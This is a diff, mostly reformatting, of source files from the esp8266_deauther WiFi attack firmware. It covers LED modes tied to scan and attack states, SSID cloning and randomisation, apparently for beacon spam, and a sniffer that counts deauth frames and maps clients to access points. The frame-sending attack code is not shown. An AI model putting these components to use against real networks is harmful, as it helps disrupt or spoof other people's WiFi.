void Neopixel::setColor(uint8_t r, uint8_t g, uint8_t b) {
|
|
||||||
setColor(r, g, b, 100, true);
|
|
||||||
}
|
|
||||||
|
|
||||||
void Neopixel::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness) {
|
|
||||||
setColor(r, g, b, brightness, true);
|
|
||||||
}
|
|
||||||
|
|
||||||
void Neopixel::update() {
|
|
||||||
if (!tempEnabled) return;
|
|
||||||
if (!settings.getLedEnabled() && tempEnabled) tempDisable();
|
|
||||||
|
|
||||||
if (scan.isScanning() && scan.deauths < settings.getMinDeauths()) setMode(LED_MODE_SCAN, false);
|
|
||||||
else if (scan.deauths >= settings.getMinDeauths()) setMode(LED_MODE_DEAUTH, false);
|
|
||||||
else if (attack.isRunning()) setMode(LED_MODE_ATTACK, false);
|
|
||||||
else setMode(LED_MODE_IDLE, false);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
21
esp8266_deauther/NeopixelLED.h
Normal file
21
esp8266_deauther/NeopixelLED.h
Normal file
@@ -0,0 +1,21 @@
|
|||||||
|
#ifndef NeopixelLED_H
|
||||||
|
#define NeopixelLED_H
|
||||||
|
|
||||||
|
#include "StatusLED.h"
|
||||||
|
#include <Adafruit_NeoPixel.h>
|
||||||
|
|
||||||
|
class NeopixelLED : public StatusLED {
|
||||||
|
public:
|
||||||
|
NeopixelLED(int num, uint8_t dataPin, uint8_t brightness);
|
||||||
|
~NeopixelLED();
|
||||||
|
|
||||||
|
void setup();
|
||||||
|
void setColor(uint8_t r, uint8_t g, uint8_t b);
|
||||||
|
void setBrightness(uint8_t brightness);
|
||||||
|
void setMode(uint8_t mode, bool force);
|
||||||
|
|
||||||
|
private:
|
||||||
|
Adafruit_NeoPixel* strip;
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // ifndef NeopixelLED_H
|
||||||
@@ -1,310 +1,316 @@
|
|||||||
#include "SSIDs.h"
|
#include "SSIDs.h"
|
||||||
|
|
||||||
SSIDs::SSIDs() {
|
SSIDs::SSIDs() {
|
||||||
list = new SimpleList<SSID>;
|
list = new SimpleList<SSID>;
|
||||||
}
|
}
|
||||||
|
|
||||||
void SSIDs::load() {
|
void SSIDs::load() {
|
||||||
internal_removeAll();
|
internal_removeAll();
|
||||||
DynamicJsonBuffer jsonBuffer(4000);
|
DynamicJsonBuffer jsonBuffer(4000);
|
||||||
|
|
||||||
checkFile(FILE_PATH, str(SS_JSON_DEFAULT));
|
checkFile(FILE_PATH, str(SS_JSON_DEFAULT));
|
||||||
JsonObject &obj = parseJSONFile(FILE_PATH, jsonBuffer);
|
JsonObject& obj = parseJSONFile(FILE_PATH, jsonBuffer);
|
||||||
JsonArray &arr = obj.get<JsonArray>(str(SS_JSON_SSIDS));
|
JsonArray & arr = obj.get<JsonArray>(str(SS_JSON_SSIDS));
|
||||||
|
|
||||||
for (uint32_t i = 0; i < arr.size() && i < SSID_LIST_SIZE; i++) {
|
for (uint32_t i = 0; i < arr.size() && i < SSID_LIST_SIZE; i++) {
|
||||||
JsonArray &tmpArray = arr.get<JsonVariant>(i);
|
JsonArray& tmpArray = arr.get<JsonVariant>(i);
|
||||||
internal_add(tmpArray.get<String>(0), tmpArray.get<bool>(1), tmpArray.get<int>(2));
|
internal_add(tmpArray.get<String>(0), tmpArray.get<bool>(1), tmpArray.get<int>(2));
|
||||||
}
|
}
|
||||||
|
|
||||||
prnt(SS_LOADED);
|
prnt(SS_LOADED);
|
||||||
prntln(FILE_PATH);
|
prntln(FILE_PATH);
|
||||||
}
|
}
|
||||||
|
|
||||||
void SSIDs::load(String filepath) {
|
void SSIDs::load(String filepath) {
|
||||||
String tmp = FILE_PATH;
|
String tmp = FILE_PATH;
|
||||||
FILE_PATH = filepath;
|
|
||||||
load();
|
FILE_PATH = filepath;
|
||||||
FILE_PATH = tmp;
|
load();
|
||||||
|
FILE_PATH = tmp;
|
||||||
}
|
}
|
||||||
|
|
||||||
void SSIDs::removeAll() {
|
void SSIDs::removeAll() {
|
||||||
internal_removeAll();
|
internal_removeAll();
|
||||||
prntln(SS_CLEARED);
|
prntln(SS_CLEARED);
|
||||||
changed = true;
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void SSIDs::save(bool force) {
|
void SSIDs::save(bool force) {
|
||||||
if (!force && !changed) return;
|
if (!force && !changed) return;
|
||||||
|
|
||||||
String buf = String(); // create buffer
|
String buf = String(); // create buffer
|
||||||
buf += String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SS_JSON_RANDOM) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + b2s(randomMode) + String(COMMA); // {"random":false,
|
buf += String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SS_JSON_RANDOM) + String(DOUBLEQUOTES) + String(
|
||||||
buf += String(DOUBLEQUOTES) + str(SS_JSON_SSIDS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + String(OPEN_BRACKET); // "ssids":[
|
DOUBLEPOINT) + b2s(randomMode) + String(COMMA); // {"random":false,
|
||||||
|
buf += String(DOUBLEQUOTES) + str(SS_JSON_SSIDS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) +
|
||||||
if (!writeFile(FILE_PATH, buf)) {
|
String(OPEN_BRACKET); // "ssids":[
|
||||||
prnt(F_ERROR_SAVING);
|
|
||||||
prntln(FILE_PATH);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
buf = String(); // clear buffer
|
|
||||||
|
|
||||||
String name;
|
|
||||||
int c = count();
|
|
||||||
|
|
||||||
for (int i = 0; i < c; i++) {
|
|
||||||
name = escape(getName(i));
|
|
||||||
|
|
||||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // ["name",
|
|
||||||
buf += b2s(getWPA2(i)) + String(COMMA); // false,
|
|
||||||
buf += String(getLen(i)) + String(CLOSE_BRACKET); // 12]
|
|
||||||
if(i < c-1) buf += COMMA; // ,
|
|
||||||
|
|
||||||
if(buf.length() >= 1024){
|
if (!writeFile(FILE_PATH, buf)) {
|
||||||
if (!appendFile(FILE_PATH, buf)) {
|
|
||||||
prnt(F_ERROR_SAVING);
|
prnt(F_ERROR_SAVING);
|
||||||
prntln(FILE_PATH);
|
prntln(FILE_PATH);
|
||||||
return;
|
return;
|
||||||
}
|
|
||||||
|
|
||||||
buf = String(); // clear buffer
|
|
||||||
}
|
}
|
||||||
}
|
buf = String(); // clear buffer
|
||||||
|
|
||||||
buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}
|
String name;
|
||||||
|
int c = count();
|
||||||
if (!appendFile(FILE_PATH, buf)) {
|
|
||||||
prnt(F_ERROR_SAVING);
|
for (int i = 0; i < c; i++) {
|
||||||
|
name = escape(getName(i));
|
||||||
|
|
||||||
|
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // ["name",
|
||||||
|
buf += b2s(getWPA2(i)) + String(COMMA); // false,
|
||||||
|
buf += String(getLen(i)) + String(CLOSE_BRACKET); // 12]
|
||||||
|
|
||||||
|
if (i < c - 1) buf += COMMA; // ,
|
||||||
|
|
||||||
|
if (buf.length() >= 1024) {
|
||||||
|
if (!appendFile(FILE_PATH, buf)) {
|
||||||
|
prnt(F_ERROR_SAVING);
|
||||||
|
prntln(FILE_PATH);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
buf = String(); // clear buffer
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}
|
||||||
|
|
||||||
|
if (!appendFile(FILE_PATH, buf)) {
|
||||||
|
prnt(F_ERROR_SAVING);
|
||||||
|
prntln(FILE_PATH);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
prnt(SS_SAVED_IN);
|
||||||
prntln(FILE_PATH);
|
prntln(FILE_PATH);
|
||||||
return;
|
changed = false;
|
||||||
}
|
|
||||||
|
|
||||||
prnt(SS_SAVED_IN);
|
|
||||||
prntln(FILE_PATH);
|
|
||||||
changed = false;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void SSIDs::save(bool force, String filepath) {
|
void SSIDs::save(bool force, String filepath) {
|
||||||
String tmp = FILE_PATH;
|
String tmp = FILE_PATH;
|
||||||
FILE_PATH = filepath;
|
|
||||||
save(force);
|
FILE_PATH = filepath;
|
||||||
FILE_PATH = tmp;
|
save(force);
|
||||||
|
FILE_PATH = tmp;
|
||||||
}
|
}
|
||||||
|
|
||||||
void SSIDs::update() {
|
void SSIDs::update() {
|
||||||
if (randomMode) {
|
if (randomMode) {
|
||||||
if (currentTime - randomTime > randomInterval*1000) {
|
if (currentTime - randomTime > randomInterval * 1000) {
|
||||||
prntln(SS_RANDOM_INFO);
|
prntln(SS_RANDOM_INFO);
|
||||||
|
|
||||||
for (int i = 0; i < SSID_LIST_SIZE; i++) {
|
|
||||||
SSID newSSID;
|
|
||||||
|
|
||||||
if (check(i))
|
for (int i = 0; i < SSID_LIST_SIZE; i++) {
|
||||||
newSSID = list->get(i);
|
SSID newSSID;
|
||||||
|
|
||||||
newSSID.name = String();
|
if (check(i)) newSSID = list->get(i);
|
||||||
newSSID.len = 32;
|
|
||||||
for (int i = 0; i < 32; i++)
|
|
||||||
newSSID.name += char(random(32, 127));
|
|
||||||
|
|
||||||
newSSID.wpa2 = random(0, 2);
|
newSSID.name = String();
|
||||||
|
newSSID.len = 32;
|
||||||
|
|
||||||
if (check(i))
|
for (int i = 0; i < 32; i++) newSSID.name += char(random(32, 127));
|
||||||
list->replace(i, newSSID);
|
|
||||||
else
|
newSSID.wpa2 = random(0, 2);
|
||||||
list->add(newSSID);
|
|
||||||
}
|
if (check(i)) list->replace(i, newSSID);
|
||||||
|
else list->add(newSSID);
|
||||||
randomTime = currentTime;
|
}
|
||||||
changed = true;
|
|
||||||
|
randomTime = currentTime;
|
||||||
|
changed = true;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
String SSIDs::getName(int num) {
|
String SSIDs::getName(int num) {
|
||||||
return check(num) ? list->get(num).name : String();
|
return check(num) ? list->get(num).name : String();
|
||||||
}
|
}
|
||||||
|
|
||||||
bool SSIDs::getWPA2(int num) {
|
bool SSIDs::getWPA2(int num) {
|
||||||
return check(num) ? list->get(num).wpa2 : false;
|
return check(num) ? list->get(num).wpa2 : false;
|
||||||
}
|
}
|
||||||
|
|
||||||
int SSIDs::getLen(int num){
|
int SSIDs::getLen(int num) {
|
||||||
return check(num) ? list->get(num).len : 0;
|
return check(num) ? list->get(num).len : 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void SSIDs::setWPA2(int num, bool wpa2) {
|
void SSIDs::setWPA2(int num, bool wpa2) {
|
||||||
SSID newSSID = list->get(num);
|
SSID newSSID = list->get(num);
|
||||||
newSSID.wpa2 = wpa2;
|
|
||||||
list->replace(num, newSSID);
|
newSSID.wpa2 = wpa2;
|
||||||
|
list->replace(num, newSSID);
|
||||||
}
|
}
|
||||||
|
|
||||||
String SSIDs::getEncStr(int num) {
|
String SSIDs::getEncStr(int num) {
|
||||||
if (getWPA2(num)) return "WPA2";
|
if (getWPA2(num)) return "WPA2";
|
||||||
else return "-";
|
else return "-";
|
||||||
}
|
}
|
||||||
|
|
||||||
void SSIDs::remove(int num) {
|
void SSIDs::remove(int num) {
|
||||||
if (!check(num)) return;
|
if (!check(num)) return;
|
||||||
internal_remove(num);
|
|
||||||
prnt(SS_REMOVED);
|
internal_remove(num);
|
||||||
prntln(getName(num));
|
prnt(SS_REMOVED);
|
||||||
changed = true;
|
prntln(getName(num));
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
String SSIDs::randomize(String name) {
|
String SSIDs::randomize(String name) {
|
||||||
int ssidlen = name.length();
|
int ssidlen = name.length();
|
||||||
if (ssidlen > 32) name = name.substring(0, 32);
|
|
||||||
if (ssidlen < 32) {
|
if (ssidlen > 32) name = name.substring(0, 32);
|
||||||
for (int i = ssidlen; i < 32; i++) {
|
|
||||||
int rnd = random(3);
|
if (ssidlen < 32) {
|
||||||
if (i < 29 && rnd == 0) { // ZERO WIDTH SPACE
|
for (int i = ssidlen; i < 32; i++) {
|
||||||
name += char(0xE2);
|
int rnd = random(3);
|
||||||
name += char(0x80);
|
|
||||||
name += char(0x8B);
|
if ((i < 29) && (rnd == 0)) { // ZERO WIDTH SPACE
|
||||||
i += 2;
|
name += char(0xE2);
|
||||||
} else if (i < 30 && rnd == 1) { // NO-BREAK SPACE
|
name += char(0x80);
|
||||||
name += char(0xC2);
|
name += char(0x8B);
|
||||||
name += char(0xA0);
|
i += 2;
|
||||||
i += 1;
|
} else if ((i < 30) && (rnd == 1)) { // NO-BREAK SPACE
|
||||||
} else {
|
name += char(0xC2);
|
||||||
name += char(0x20); // SPACE
|
name += char(0xA0);
|
||||||
}
|
i += 1;
|
||||||
|
} else {
|
||||||
|
name += char(0x20); // SPACE
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
return name;
|
||||||
return name;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void SSIDs::add(String name, bool wpa2, int clones, bool force) {
|
void SSIDs::add(String name, bool wpa2, int clones, bool force) {
|
||||||
if (list->size() >= SSID_LIST_SIZE) {
|
if (list->size() >= SSID_LIST_SIZE) {
|
||||||
if (force) {
|
if (force) {
|
||||||
internal_remove(0);
|
internal_remove(0);
|
||||||
} else {
|
} else {
|
||||||
prntln(SS_ERROR_FULL);
|
prntln(SS_ERROR_FULL);
|
||||||
return;
|
return;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
if (clones > SSID_LIST_SIZE) clones = SSID_LIST_SIZE;
|
if (clones > SSID_LIST_SIZE) clones = SSID_LIST_SIZE;
|
||||||
|
|
||||||
for (int i = 0; i < clones; i++) {
|
|
||||||
internal_add(name, wpa2, name.length());
|
|
||||||
if (list->size() > SSID_LIST_SIZE) internal_remove(0);
|
|
||||||
}
|
|
||||||
|
|
||||||
prnt(SS_ADDED);
|
for (int i = 0; i < clones; i++) {
|
||||||
prntln(name);
|
internal_add(name, wpa2, name.length());
|
||||||
changed = true;
|
|
||||||
}
|
|
||||||
|
|
||||||
void SSIDs::cloneSelected(bool force){
|
if (list->size() > SSID_LIST_SIZE) internal_remove(0);
|
||||||
if(accesspoints.selected() > 0){
|
|
||||||
int clones = SSID_LIST_SIZE;
|
|
||||||
if(!force) clones -= list->size();
|
|
||||||
clones /= accesspoints.selected();
|
|
||||||
|
|
||||||
int apCount = accesspoints.count();
|
|
||||||
for(int i=0;i<apCount;i++){
|
|
||||||
if(accesspoints.getSelected(i))
|
|
||||||
add(accesspoints.getSSID(i), accesspoints.getEnc(i) != 0, clones, force);
|
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
prnt(SS_ADDED);
|
||||||
|
prntln(name);
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool SSIDs::getRandom(){
|
void SSIDs::cloneSelected(bool force) {
|
||||||
return randomMode;
|
if (accesspoints.selected() > 0) {
|
||||||
|
int clones = SSID_LIST_SIZE;
|
||||||
|
|
||||||
|
if (!force) clones -= list->size();
|
||||||
|
clones /= accesspoints.selected();
|
||||||
|
|
||||||
|
int apCount = accesspoints.count();
|
||||||
|
|
||||||
|
for (int i = 0; i < apCount; i++) {
|
||||||
|
if (accesspoints.getSelected(i)) add(accesspoints.getSSID(i), accesspoints.getEnc(i) != 0, clones, force);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void SSIDs::replace(int num, String name, bool wpa2){
|
bool SSIDs::getRandom() {
|
||||||
if(!check(num)) return;
|
return randomMode;
|
||||||
|
}
|
||||||
int len = name.length();
|
|
||||||
if(len > 32)
|
|
||||||
len = 32;
|
|
||||||
SSID newSSID;
|
|
||||||
newSSID.name = randomize(name);
|
|
||||||
newSSID.wpa2 = wpa2;
|
|
||||||
newSSID.len = (uint8_t)len;
|
|
||||||
list->replace(num,newSSID);
|
|
||||||
|
|
||||||
prnt(SS_REPLACED);
|
void SSIDs::replace(int num, String name, bool wpa2) {
|
||||||
prntln(name);
|
if (!check(num)) return;
|
||||||
changed = true;
|
|
||||||
|
int len = name.length();
|
||||||
|
|
||||||
|
if (len > 32) len = 32;
|
||||||
|
SSID newSSID;
|
||||||
|
newSSID.name = randomize(name);
|
||||||
|
newSSID.wpa2 = wpa2;
|
||||||
|
newSSID.len = (uint8_t)len;
|
||||||
|
list->replace(num, newSSID);
|
||||||
|
|
||||||
|
prnt(SS_REPLACED);
|
||||||
|
prntln(name);
|
||||||
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void SSIDs::print(int num) {
|
void SSIDs::print(int num) {
|
||||||
print(num, true, false);
|
print(num, true, false);
|
||||||
}
|
}
|
||||||
|
|
||||||
void SSIDs::print(int num, bool header, bool footer) {
|
void SSIDs::print(int num, bool header, bool footer) {
|
||||||
if (!check(num)) return;
|
if (!check(num)) return;
|
||||||
if (header) {
|
|
||||||
prntln(SS_TABLE_HEADER);
|
if (header) {
|
||||||
prntln(SS_TABLE_DIVIDER);
|
prntln(SS_TABLE_HEADER);
|
||||||
}
|
prntln(SS_TABLE_DIVIDER);
|
||||||
|
}
|
||||||
prnt(buildString(String(), (String)num, 2));
|
|
||||||
prnt(buildString(String(SPACE), getEncStr(num), 5));
|
prnt(buildString(String(), (String)num, 2));
|
||||||
prntln(buildString(String(SPACE) + getName(num), String(), 33));
|
prnt(buildString(String(SPACE), getEncStr(num), 5));
|
||||||
|
prntln(buildString(String(SPACE) + getName(num), String(), 33));
|
||||||
if (footer) prntln(SS_TABLE_DIVIDER);
|
|
||||||
|
if (footer) prntln(SS_TABLE_DIVIDER);
|
||||||
}
|
}
|
||||||
|
|
||||||
void SSIDs::printAll() {
|
void SSIDs::printAll() {
|
||||||
prntln(SS_HEADER);
|
prntln(SS_HEADER);
|
||||||
int c = count();
|
int c = count();
|
||||||
if (c == 0)
|
|
||||||
prntln(SS_ERROR_EMPTY);
|
if (c == 0) prntln(SS_ERROR_EMPTY);
|
||||||
else
|
else
|
||||||
for (int i = 0; i < c; i++)
|
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||||
print(i, i == 0, i == c - 1);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
int SSIDs::count() {
|
int SSIDs::count() {
|
||||||
return list->size();
|
return list->size();
|
||||||
}
|
}
|
||||||
|
|
||||||
bool SSIDs::check(int num) {
|
bool SSIDs::check(int num) {
|
||||||
return num >= 0 && num < count();
|
return num >= 0 && num < count();
|
||||||
}
|
}
|
||||||
|
|
||||||
void SSIDs::enableRandom(uint32_t randomInterval) {
|
void SSIDs::enableRandom(uint32_t randomInterval) {
|
||||||
randomMode = true;
|
randomMode = true;
|
||||||
SSIDs::randomInterval = randomInterval;
|
SSIDs::randomInterval = randomInterval;
|
||||||
prntln(SS_RANDOM_ENABLED);
|
prntln(SS_RANDOM_ENABLED);
|
||||||
update();
|
update();
|
||||||
}
|
}
|
||||||
|
|
||||||
void SSIDs::disableRandom() {
|
void SSIDs::disableRandom() {
|
||||||
randomMode = false;
|
randomMode = false;
|
||||||
internal_removeAll();
|
internal_removeAll();
|
||||||
prntln(SS_RANDOM_DISABLED);
|
prntln(SS_RANDOM_DISABLED);
|
||||||
}
|
}
|
||||||
|
|
||||||
void SSIDs::internal_add(String name, bool wpa2, int len) {
|
void SSIDs::internal_add(String name, bool wpa2, int len) {
|
||||||
if(len > 32) {
|
if (len > 32) {
|
||||||
name = name.substring(0,32);
|
name = name.substring(0, 32);
|
||||||
len = 32;
|
len = 32;
|
||||||
} else if (len < 32) {
|
} else if (len < 32) {
|
||||||
name = randomize(name);
|
name = randomize(name);
|
||||||
}
|
}
|
||||||
|
|
||||||
name = fixUtf8(name);
|
name = fixUtf8(name);
|
||||||
|
|
||||||
SSID newSSID;
|
SSID newSSID;
|
||||||
newSSID.name = name;
|
newSSID.name = name;
|
||||||
newSSID.wpa2 = wpa2;
|
newSSID.wpa2 = wpa2;
|
||||||
newSSID.len = (uint8_t)len;
|
newSSID.len = (uint8_t)len;
|
||||||
|
|
||||||
list->add(newSSID);
|
list->add(newSSID);
|
||||||
}
|
}
|
||||||
|
|
||||||
void SSIDs::internal_remove(int num) {
|
void SSIDs::internal_remove(int num) {
|
||||||
list->remove(num);
|
list->remove(num);
|
||||||
}
|
}
|
||||||
|
|
||||||
void SSIDs::internal_removeAll() {
|
void SSIDs::internal_removeAll() {
|
||||||
list->clear();
|
list->clear();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
@@ -7,7 +7,7 @@
|
|||||||
extern "C" {
|
extern "C" {
|
||||||
#include "user_interface.h"
|
#include "user_interface.h"
|
||||||
}
|
}
|
||||||
#include <ArduinoJson.h>
|
#include "ArduinoJson.h"
|
||||||
#include "language.h"
|
#include "language.h"
|
||||||
#include "SimpleList.h"
|
#include "SimpleList.h"
|
||||||
#include "Settings.h"
|
#include "Settings.h"
|
||||||
@@ -20,70 +20,68 @@ extern uint32_t currentTime;
|
|||||||
extern Accesspoints accesspoints;
|
extern Accesspoints accesspoints;
|
||||||
|
|
||||||
extern void checkFile(String path, String data);
|
extern void checkFile(String path, String data);
|
||||||
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer &jsonBuffer);
|
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer);
|
||||||
extern bool appendFile(String path, String &buf);
|
extern bool appendFile(String path, String& buf);
|
||||||
extern bool writeFile(String path, String &buf);
|
extern bool writeFile(String path, String& buf);
|
||||||
extern void readFileToSerial(String path);
|
extern void readFileToSerial(String path);
|
||||||
extern String fixUtf8(String str);
|
extern String fixUtf8(String str);
|
||||||
extern String buildString(String left, String right, int maxLen);
|
extern String buildString(String left, String right, int maxLen);
|
||||||
extern String escape(String str);
|
extern String escape(String str);
|
||||||
|
|
||||||
class SSIDs {
|
class SSIDs {
|
||||||
public:
|
public:
|
||||||
SSIDs();
|
SSIDs();
|
||||||
|
|
||||||
void load();
|
|
||||||
void load(String filepath);
|
|
||||||
void save(bool force);
|
|
||||||
void save(bool force, String filepath);
|
|
||||||
void update();
|
|
||||||
|
|
||||||
void print(int num);
|
void load();
|
||||||
void print(int num, bool header, bool footer);
|
void load(String filepath);
|
||||||
void add(String name, bool wpa2, int clones, bool force);
|
void save(bool force);
|
||||||
void cloneSelected(bool force);
|
void save(bool force, String filepath);
|
||||||
void remove(int num);
|
void update();
|
||||||
void enableRandom(uint32_t randomInterval);
|
|
||||||
void disableRandom();
|
|
||||||
bool getRandom();
|
|
||||||
|
|
||||||
String getName(int num);
|
|
||||||
bool getWPA2(int num);
|
|
||||||
String getEncStr(int num);
|
|
||||||
int getLen(int num);
|
|
||||||
|
|
||||||
void setWPA2(int num, bool wpa2);
|
void print(int num);
|
||||||
void replace(int num, String name, bool wpa2);
|
void print(int num, bool header, bool footer);
|
||||||
|
void add(String name, bool wpa2, int clones, bool force);
|
||||||
void printAll();
|
void cloneSelected(bool force);
|
||||||
void removeAll();
|
void remove(int num);
|
||||||
|
void enableRandom(uint32_t randomInterval);
|
||||||
int count();
|
void disableRandom();
|
||||||
private:
|
bool getRandom();
|
||||||
bool changed = false;
|
|
||||||
bool randomMode = false;
|
|
||||||
uint32_t randomInterval = 2000;
|
|
||||||
uint32_t randomTime = 0;
|
|
||||||
|
|
||||||
struct SSID{
|
|
||||||
String name; // SSID
|
|
||||||
bool wpa2; // WPA2 encrypted or not
|
|
||||||
uint8_t len; // original length (before editing it to be 32 characters)
|
|
||||||
};
|
|
||||||
|
|
||||||
String FILE_PATH = "/ssids.json";
|
|
||||||
|
|
||||||
SimpleList<SSID>* list;
|
|
||||||
|
|
||||||
bool check(int num);
|
String getName(int num);
|
||||||
String randomize(String name);
|
bool getWPA2(int num);
|
||||||
|
String getEncStr(int num);
|
||||||
|
int getLen(int num);
|
||||||
|
|
||||||
void internal_add(String name, bool wpa2, int add);
|
void setWPA2(int num, bool wpa2);
|
||||||
void internal_remove(int num);
|
void replace(int num, String name, bool wpa2);
|
||||||
void internal_removeAll();
|
|
||||||
|
void printAll();
|
||||||
|
void removeAll();
|
||||||
|
|
||||||
|
int count();
|
||||||
|
|
||||||
|
private:
|
||||||
|
bool changed = false;
|
||||||
|
bool randomMode = false;
|
||||||
|
uint32_t randomInterval = 2000;
|
||||||
|
uint32_t randomTime = 0;
|
||||||
|
|
||||||
|
struct SSID {
|
||||||
|
String name; // SSID
|
||||||
|
bool wpa2; // WPA2 encrypted or not
|
||||||
|
uint8_t len; // original length (before editing it to be 32 characters)
|
||||||
|
};
|
||||||
|
|
||||||
|
String FILE_PATH = "/ssids.json";
|
||||||
|
|
||||||
|
SimpleList<SSID>* list;
|
||||||
|
|
||||||
|
bool check(int num);
|
||||||
|
String randomize(String name);
|
||||||
|
|
||||||
|
void internal_add(String name, bool wpa2, int add);
|
||||||
|
void internal_remove(int num);
|
||||||
|
void internal_removeAll();
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif
|
#endif // ifndef SSIDs_h
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
@@ -1,398 +1,426 @@
|
|||||||
#include "Scan.h"
|
#include "Scan.h"
|
||||||
|
|
||||||
Scan::Scan() {
|
Scan::Scan() {
|
||||||
list = new SimpleList<uint16_t>;
|
list = new SimpleList<uint16_t>;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Scan::sniffer(uint8_t* buf, uint16_t len) {
|
void Scan::sniffer(uint8_t* buf, uint16_t len) {
|
||||||
if (!isSniffing()) return;
|
if (!isSniffing()) return;
|
||||||
|
|
||||||
packets++;
|
packets++;
|
||||||
|
|
||||||
if (len < 28) return; // drop frames that are too short to have a valid MAC header
|
|
||||||
|
|
||||||
if (buf[12] == 0xc0 || buf[12] == 0xa0) {
|
if (len < 28) return; // drop frames that are too short to have a valid MAC header
|
||||||
tmpDeauths++;
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// drop beacon frames, probe requests/responses and deauth/disassociation frames
|
|
||||||
if (buf[12] == 0x80 || buf[12] == 0x40 || buf[12] == 0x50/* || buf[12] == 0xc0 || buf[12] == 0xa0*/) return;
|
|
||||||
|
|
||||||
// only allow data frames
|
if ((buf[12] == 0xc0) || (buf[12] == 0xa0)) {
|
||||||
// if(buf[12] != 0x08 && buf[12] != 0x88) return;
|
tmpDeauths++;
|
||||||
|
return;
|
||||||
uint8_t* macTo = &buf[16];
|
}
|
||||||
uint8_t* macFrom = &buf[22];
|
|
||||||
|
// drop beacon frames, probe requests/responses and deauth/disassociation frames
|
||||||
if (macBroadcast(macTo) || macBroadcast(macFrom) || !macValid(macTo) || !macValid(macFrom) || macMulticast(macTo) || macMulticast(macFrom)) return;
|
if ((buf[12] == 0x80) || (buf[12] == 0x40) || (buf[12] == 0x50) /* || buf[12] == 0xc0 || buf[12] == 0xa0*/) return;
|
||||||
|
|
||||||
int accesspointNum = findAccesspoint(macFrom);
|
// only allow data frames
|
||||||
if (accesspointNum >= 0) {
|
// if(buf[12] != 0x08 && buf[12] != 0x88) return;
|
||||||
stations.add(macTo, accesspoints.getID(accesspointNum));
|
|
||||||
} else {
|
uint8_t* macTo = &buf[16];
|
||||||
accesspointNum = findAccesspoint(macTo);
|
uint8_t* macFrom = &buf[22];
|
||||||
if (accesspointNum >= 0) {
|
|
||||||
stations.add(macFrom, accesspoints.getID(accesspointNum));
|
if (macBroadcast(macTo) || macBroadcast(macFrom) || !macValid(macTo) || !macValid(macFrom) || macMulticast(macTo) ||
|
||||||
|
macMulticast(macFrom)) return;
|
||||||
|
|
||||||
|
int accesspointNum = findAccesspoint(macFrom);
|
||||||
|
|
||||||
|
if (accesspointNum >= 0) {
|
||||||
|
stations.add(macTo, accesspoints.getID(accesspointNum));
|
||||||
|
} else {
|
||||||
|
accesspointNum = findAccesspoint(macTo);
|
||||||
|
|
||||||
|
if (accesspointNum >= 0) {
|
||||||
|
stations.add(macFrom, accesspoints.getID(accesspointNum));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
int Scan::findAccesspoint(uint8_t* mac) {
|
int Scan::findAccesspoint(uint8_t* mac) {
|
||||||
for (int i = 0; i < accesspoints.count(); i++) {
|
for (int i = 0; i < accesspoints.count(); i++) {
|
||||||
if (memcmp(accesspoints.getMac(i), mac, 6) == 0) return i;
|
if (memcmp(accesspoints.getMac(i), mac, 6) == 0) return i;
|
||||||
}
|
}
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Scan::start(uint8_t mode) {
|
void Scan::start(uint8_t mode) {
|
||||||
start(mode, sniffTime, scan_continue_mode, continueTime, channelHop, wifi_channel);
|
start(mode, sniffTime, scan_continue_mode, continueTime, channelHop, wifi_channel);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Scan::start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, uint8_t channel) {
|
void Scan::start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop,
|
||||||
if(mode != SCAN_MODE_OFF) stop();
|
uint8_t channel) {
|
||||||
|
if (mode != SCAN_MODE_OFF) stop();
|
||||||
setWifiChannel(channel);
|
|
||||||
Scan::continueStartTime = currentTime;
|
|
||||||
Scan::snifferPacketTime = continueStartTime;
|
|
||||||
